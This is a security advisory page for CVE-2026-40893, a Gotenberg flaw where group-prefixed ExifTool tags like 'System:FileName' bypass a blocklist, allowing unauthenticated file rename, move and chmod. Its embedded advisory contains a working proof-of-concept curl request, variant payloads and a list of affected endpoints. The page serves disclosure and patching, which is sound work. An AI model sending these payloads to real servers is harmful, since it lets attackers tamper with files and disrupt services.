CVE-2026-40893: Github.com/gotenberg/gotenberg/v8 Gotenberg Has An ExifTool Dangerous Vulnerability
HIGHCVE-2026-40893 is a HIGH (CVSS 8.2) gotenberg has an exiftool dangerous vulnerability (CWE-20: Improper Input Validation) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves gotenberg has an exiftool dangerous tag blocklist bypass via group-prefixed tag names that allows arbitrary file rename and move. Remediation is available in the latest vendor maintenance releases.
CVE-2026-40893 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L).
How to Fix CVE-2026-40893
To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/gotenberg/gotenberg/v8 to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/gotenberg/gotenberg/v8
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-40893, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:
inspect dependencies for github.com/gotenberg/gotenberg/v8
Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Github.com/gotenberg/gotenberg/v8, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40893 Affected Github.com/gotenberg/gotenberg/v8 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/gotenberg/gotenberg/v8
|
Go |
≤ 8.30.1
|
|
References
Frequently Asked Questions
What is CVE-2026-40893?
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
What version fixes CVE-2026-40893?
Is github.com/gotenberg/gotenberg/v8 affected?
What is the CVSS score of CVE-2026-40893?
What CWE is associated with CVE-2026-40893?
How can I check Go dependencies for CVE-2026-40893?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-62p3-hvxx-fxg4",
"modified" : "2026-05-14T20:51:32Z",
"published" : "2026-05-04T19:21:19Z",
"aliases" : [ "CVE-2026-40893" ],
"summary" : "Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move",
"details" : "### Summary\n\nGotenberg blocks certain ExifTool tag names like `FileName` and `Directory` to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — `System:FileName` — which does the exact same thing. Gotenberg only checks if the tag is exactly `FileName`, so `System:FileName` slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.\n\nThis bypasses the fix from [GHSA-qmwh-9m9c-h36m](https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m).\n\n### Details\n\nThink of it like a nightclub bouncer with a blocklist of banned names. The blocklist says \"Block anyone named **John**.\" A person shows up and says \"I'm **Mr. John**.\" The bouncer checks — \"Mr. John\" is not \"John\" — so he lets them in. But inside the club, everyone knows Mr. John IS John.\n\nThat's exactly what happens here:\n\n**The blocklist** (`exiftool.go` line 275-280) blocks these tag names:\n\n```\nFileName\nDirectory\nHardLink\nSymLink\n```\n\n**The check** (`exiftool.go` line 295-301) compares what the user sent against this list:\n\n```go\nif strings.EqualFold(key, tag) { // is \"System:FileName\" equal to \"FileName\"?\n delete(metadata, key) // no — so it's NOT deleted\n}\n```\n\n`System:FileName` is not equal to `FileName` (one is 16 characters, the other is 8), so it passes through.\n\n**But ExifTool treats them as the same thing.** In ExifTool, `System:` is just a group prefix — like a folder name before the tag. `System:FileName` and `FileName` both mean \"rename this file.\" The [ExifTool docs](https://exiftool.org/exiftool_pod.html) say: *\"A tag name may include leading group names separated by colons.\"*\n\n**Why the colon is allowed:** The key validation regex (`exiftool.go` line 31) explicitly permits colons:\n\n```go\nvar safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\\-_.:]+$`)\n// ^ colon is allowed\n```\n\nSo the full chain is:\n\n1. Attacker sends `System:FileName` → passes the regex (colon is allowed)\n2. `System:FileName` → passes the blocklist (it's not equal to `FileName`)\n3. ExifTool receives `System:FileName` → treats it as `FileName` → **renames the file**\n\n**Bonus finding:** The `FilePermissions` tag is not in the blocklist at all. Sending `{\"FilePermissions\": \"rwxrwxrwx\"}` tells ExifTool to chmod the file, and nothing stops it.\n\n### PoC\n\n**Setup — start Gotenberg with default settings:**\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\n\n**Create a folder inside the container where we'll move the file to:**\n\n```bash\ndocker exec gotenberg-poc mkdir -p /tmp/evil\n```\n\n**Send the attack — one curl command:**\n\n```bash\ncurl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F 'files=@any-pdf-file.pdf' \\\n -F 'metadata={\"System:FileName\":\"stolen.pdf\",\"System:Directory\":\"/tmp/evil\"}'\n```\n\nThis returns HTTP 404 because the file got moved before the server could return it.\n\n**Check that the file actually moved:**\n\n```bash\ndocker exec gotenberg-poc ls -la /tmp/evil/\n```\n\n**Result:**\n\n```\n-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf\n```\n\nThe file is sitting in `/tmp/evil/stolen.pdf`. It was renamed from its random UUID name to `stolen.pdf` and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.\n\n**Proof that the existing blocklist works for bare names (control test):**\n\n```bash\ncurl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F 'files=@any-pdf-file.pdf' \\\n -F 'metadata={\"FileName\":\"stolen.pdf\",\"Directory\":\"/tmp/evil\"}'\n```\n\nThis returns HTTP 500 — the bare `FileName` tag was correctly blocked. Only the `System:FileName` variant gets through.\n\n**Other ways to exploit the same bug:**\n\n- `system:filename` (lowercase) — also works because ExifTool is case-insensitive\n- `system:directory` — moves the file to any writable folder\n- `FilePermissions` — changes the file's permissions (this tag is simply missing from the blocklist entirely)\n\n**Every endpoint that accepts the `metadata` field is affected**, including `/forms/chromium/convert/html`, `/forms/libreoffice/convert`, `/forms/pdfengines/merge`, and all other conversion routes.\n\n### Impact\n\nAny person who can send HTTP requests to Gotenberg (no login needed by default) can:\n\n- **Move files anywhere** inside the container by using `System:Directory`\n- **Rename files** to anything by using `System:FileName`\n- **Change file permissions** by using `FilePermissions` (this tag is not blocked at all)\n- **Break the service** for other users — when a file gets moved mid-request, the server returns 404 errors\n\nIn real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder — potentially affecting whatever service reads files from there.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/gotenberg/gotenberg/v8"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "8.30.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-62p3-hvxx-fxg4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40893"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gotenberg/gotenberg"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-73" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-04T19:21:19Z",
"nvd_published_at" : "2026-05-14T16:16:20Z"
}
}